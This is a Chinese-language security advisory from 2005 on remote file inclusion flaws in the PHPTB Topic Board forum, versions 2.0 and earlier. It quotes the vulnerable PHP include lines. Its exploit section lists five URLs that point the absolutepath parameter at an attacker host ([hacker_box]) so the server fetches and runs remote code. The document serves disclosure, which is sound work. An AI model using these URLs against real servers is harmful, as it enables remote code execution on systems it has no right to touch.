PHPTB Topic Board多个远程文件包含漏洞
2005-08-23
系统编号:
WAVDB-00632
BUGTRAQ: 14592
影响版本:
PHPTB <= 2.0
程序介绍:
PHPTB Topic Board是一款开放源码的论坛程序。
漏洞分析:
PHPTB中存在多个远程文件包含漏洞,可能允许恶意的攻击者在web server上远程执行代码。
有漏洞的代码存在于./classes/board_o.php、./classes/dev_o.php、./classes/file_o.php和./classes/tech_o.php中:
<?php
include $absolutepath.'classes/smart_o.php';
... EOF
此外./classes/dev_o.php和./classes/tech_o.php中的漏洞代码:
...
require $GLOBALS['absolutepath'].'userpass.php';
... EOF
漏洞利用:
http://[victim]/[dir]/classes/admin_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/board_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/dev_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/file_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/tech_o.php?absolutepath=http://[hacker_box]/
解决方案:
厂商补丁:</p><p> PHPTB<br> -----<br> 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:</p><p> http://www.phptb.com/
信息来源:
<*来源:Filip Groszynski (groszynskif@gmail.com)<br> <br> 链接:http://marc.theaimsgroup.com/?l= ... 19802&w=2<br> *>